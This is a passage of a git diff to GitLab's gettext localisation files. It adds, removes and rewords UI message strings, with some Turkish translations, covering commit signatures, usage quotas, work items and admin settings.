msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41329,6 +42017,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41677,6 +42368,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -41779,21 +42473,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42016,6 +42716,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42091,9 +42794,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42298,7 +42998,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42738,6 +43438,10 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -42954,7 +43658,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43251,24 +43955,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43372,15 +44064,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43552,6 +44241,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43594,6 +44286,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -43774,6 +44469,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -43813,6 +44511,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -43882,6 +44583,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44044,15 +44748,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44083,15 +44781,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44149,24 +44841,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44194,9 +44874,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44215,15 +44892,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44380,6 +45051,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44435,6 +45109,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44609,9 +45289,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44678,10 +45355,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -44849,10 +45526,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45044,6 +45718,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45056,9 +45733,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45128,6 +45802,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45220,6 +45897,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45251,6 +45931,9 @@ msgstr[0] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45263,6 +45946,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45287,9 +45973,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46022,10 +46705,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46471,9 +47154,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46559,6 +47254,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46568,7 +47266,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46601,7 +47299,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46655,6 +47353,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46676,6 +47380,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -46779,6 +47489,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -46911,9 +47624,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47004,6 +47714,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47043,9 +47756,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47061,7 +47771,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47154,7 +47864,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47182,6 +47892,9 @@ msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
msgstr[0] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47299,6 +48012,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47452,8 +48168,9 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
msgid "YouTube"
msgstr ""
@@ -47690,6 +48407,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47717,7 +48437,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -47793,6 +48513,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -47991,6 +48714,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48223,10 +48949,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48376,9 +49105,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -48855,9 +49581,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49367,6 +50090,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49454,12 +50180,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -49864,6 +50584,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/tr_TR/gitlab.po b/locale/tr_TR/gitlab.po
index 1f02a24921e..6bed15fb44b 100644
--- a/locale/tr_TR/gitlab.po
+++ b/locale/tr_TR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: tr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:41\n"
+"PO-Revision-Date: 2023-01-10 06:45\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr "Bir %{group_level_name} grubunda %{level_name} izin verilmez."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} eklenemiyor: %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} sürüm"
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} GiB"
@@ -1116,11 +1130,6 @@ msgstr "%{template_project_id} bilinmiyor ya da geçersiz"
msgid "%{text} is available"
msgstr "%{text} kullanılabilir"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,9 +1550,9 @@ msgstr[0] "1 rol"
msgstr[1] "%d rol"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "1 kullanıcı"
-msgstr[1] "%{num} kullanıcı"
+msgid_plural "%d users"
+msgstr[0] ""
+msgstr[1] ""
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "%{ip} IP adresinden hesabınızda oturum açıldı."
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr "Ä°ptal"
@@ -1963,9 +1972,6 @@ msgstr "Erişim Anahtarları"
msgid "Access denied for your LDAP account."
msgstr "LDAP hesabınız için erişim reddedildi."
-msgid "Access denied: %{error}"
-msgstr "EriÅŸim reddedildi: %{error}"
-
msgid "Access expires"
msgstr "EriÅŸim sona eriyor"
@@ -2125,7 +2131,7 @@ msgstr "Eylemler"
msgid "Activate Service Desk"
msgstr "Servis Masasını Etkinleştir"
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr "Bu satıra yorum ekle"
@@ -2581,15 +2590,18 @@ msgstr "Etkin kullanıcılar"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr "Faturalandırılabilir kullanıcılar"
-
msgid "AdminArea|Blocked users"
msgstr "Engellenen kullanıcılar"
msgid "AdminArea|Bots"
msgstr "Botlar"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr "BileÅŸenler"
@@ -2671,9 +2683,18 @@ msgstr "Ä°ÅŸleri durdur"
msgid "AdminArea|Stopping jobs failed"
msgstr "İşleri durdurma başarısız oldu"
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr "Toplam kullanıcı"
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "İstatistikler yüklenirken hata oluştu. Lütfen tekrar deneyin"
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr "Otomatik DevOps etki alanı"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr "Koltuğu kullanıyor"
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr "Kişisel projeler bırakılacak"
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr "Kişisel projeler, grup ve kullanıcı geçmişi bozulmadan bırakılacak"
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr "Epik için biçimlendirilmiş başlık eklenirken bir hata oluştu"
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr "Birleştirme istekleri yüklenirken bir hata oluştu."
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr "Birleştirme isteği yüklenirken bir hata oluştu."
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr "İş hattı işleri yüklenirken bir hata oluştu."
@@ -4704,6 +4731,18 @@ msgstr "Yorumu %{shrug} ile ekle"
msgid "Append the comment with %{tableflip}"
msgstr "Yorumu %{tableflip} ile ekle"
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr "Uygulama"
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr "Öneri uygulanıyor..."
msgid "Applying suggestions..."
msgstr "Öneriler uygulanıyor..."
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr "Onay kuralları"
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
